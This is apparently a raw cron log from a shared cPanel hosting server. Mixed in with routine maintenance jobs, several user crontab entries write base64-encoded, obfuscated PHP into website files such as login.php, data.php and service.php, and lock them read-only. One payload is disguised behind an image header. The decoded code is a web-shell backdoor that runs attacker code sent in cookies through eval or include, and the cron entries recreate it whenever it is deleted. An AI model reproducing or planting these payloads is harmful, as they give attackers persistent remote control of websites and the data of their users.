AkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:08:01 medusa CROND[20285]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:08:01 medusa CROND[20286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:08:01 medusa CROND[20291]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 09:08:01 medusa CROND[20293]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:08:01 medusa CROND[20294]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:08:01 medusa CROND[20295]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:08:01 medusa CROND[20296]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:08:01 medusa CROND[20299]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:08:01 medusa CROND[20306]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:09:01 medusa CROND[8933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:09:01 medusa CROND[8934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:09:01 medusa CROND[8935]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 09:09:01 medusa CROND[8936]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:09:01 medusa CROND[8939]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 09:09:01 medusa CROND[8942]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:09:01 medusa CROND[8950]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:09:01 medusa CROND[8951]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:09:01 medusa CROND[8952]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:09:01 medusa CROND[8953]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:09:01 medusa CROND[8954]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:09:01 medusa CROND[8955]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:09:01 medusa CROND[8956]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:10:01 medusa CROND[29669]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 09:10:01 medusa CROND[29746]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:10:01 medusa CROND[29747]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:10:01 medusa CROND[29748]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 09:10:01 medusa CROND[29749]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:10:01 medusa CROND[29750]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 09:10:01 medusa CROND[29751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:10:01 medusa CROND[29753]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 09:10:01 medusa CROND[29752]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 09:10:01 medusa CROND[29755]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:10:01 medusa CROND[29754]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:10:01 medusa CROND[29757]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 09:10:01 medusa CROND[29771]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:10:01 medusa CROND[29772]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:10:01 medusa CROND[29774]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 09:10:01 medusa CROND[29768]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 09:10:01 medusa CROND[29776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:10:01 medusa CROND[29779]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
